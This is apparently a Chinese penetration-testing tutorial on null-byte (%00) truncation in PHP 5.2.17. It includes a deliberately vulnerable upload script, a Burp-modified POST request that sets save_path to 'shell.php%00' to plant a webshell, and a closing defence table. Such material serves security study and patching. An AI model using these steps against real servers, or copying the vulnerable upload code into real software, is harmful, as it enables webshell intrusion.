PHP 5.2.17 %00截断实战：POST请求下绕过白名单的3个关键步骤
PHP 5.2.17 %00截断实战：POST请求下绕过白名单的3个关键步骤
在Web安全领域，文件上传漏洞一直是渗透测试中的高频攻击点。本文将深入探讨PHP 5.2.17环境下利用%00空字节截断技术绕过白名单检测的完整实战流程，特别针对POST请求场景提供可落地的操作方案。
1. 漏洞环境搭建与原理剖析
要复现%00截断漏洞，首先需要配置符合漏洞条件的实验环境。核心要求是PHP版本低于5.3.4且magic_quotes_gpc设置为OFF状态。
环境配置清单：
- PHP 5.2.17（通过phpStudy等集成环境快速部署）
- Apache/Nginx Web服务器
- 关闭magic_quotes_gpc（php.ini中设置）
- 示例上传页面代码：
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } } }漏洞原理在于PHP旧版本对字符串处理的缺陷：
- 当路径字符串包含%00时，PHP会将其识别为字符串终止符
- 白名单检测时检查的是完整文件名（如evil.php%00.jpg）
- 实际保存文件时，move_uploaded_file()遇到%00会丢弃后续内容
- 最终服务器存储的是evil.php而非原始文件名
注意：该漏洞仅在路径参数可控时有效，单纯修改文件名中的%00无法触发截断效果。
2. Burp Suite实战操作流程
POST请求下的%00截断需要手动处理编码问题，以下是具体操作步骤：
2.1 基础请求捕获
- 配置浏览器通过Burp Suite代理
- 正常上传合法图片文件（如test.jpg）
- 在Burp的Proxy模块拦截原始请求
典型请求示例：
POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="save_path" ../uploads ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="upload_file"; filename="test.jpg" Content-Type: image/jpeg [文件二进制数据] ------WebKitFormBoundaryABC123--2.2 关键参数修改
- 修改save_path参数为：
../uploads/shell.php%00 - 保持filename为合法后缀（如test.jpg）
- 在Hex视图确认%00显示为00（空字节）
修改后的路径参数：
name="save_path" ../uploads/shell.php%002.3 十六进制验证
- 切换到Hex标签页
- 定位到save_path参数值部分
- 确认%00对应的十六进制值为00
- 必要时可手动将20（空格）修改为00
关键十六进制段：
2e 2e 2f 75 70 6c 6f 61 64 73 2f 73 68 65 6c 6c ../uploads/shell 2e 70 68 70 00 .php.3. 防御方案与验证方法
3.1 漏洞修复建议
对于开发人员，建议采取以下防护措施：
| 防护策略 | 实现方式 | 有效性 |
|---|---|---|
| PHP版本升级 | 升级至5.3.4+ | 完全修复 |
| 路径消毒 | str_replace(chr(0), '', $path) | 可靠 |
| 白名单扩展名校验 | pathinfo($name, PATHINFO_EXTENSION) | 需配合其他措施 |
| 文件重命名 | 随机化存储文件名 | 辅助防护 |
3.2 渗透验证流程
- 上传后检查服务器响应是否显示成功
- 直接访问构造的路径（如/upload/shell.php）
- 使用中国蚁剑等工具测试连接
- 验证文件实际存储名称（通过目录遍历或错误信息泄露）
常见问题排查：
- 如果返回500错误，检查PHP版本是否符合要求
- 若文件未被截断，确认magic_quotes_gpc是否关闭
- 路径不可控时需尝试其他绕过方式
在实际渗透测试中，%00截断常与其他技术组合使用。例如先通过内容类型绕过前端检测，再结合路径截断突破后端限制。这种漏洞的利用效果取决于服务器配置的严格程度，因此在实战中需要灵活调整攻击策略。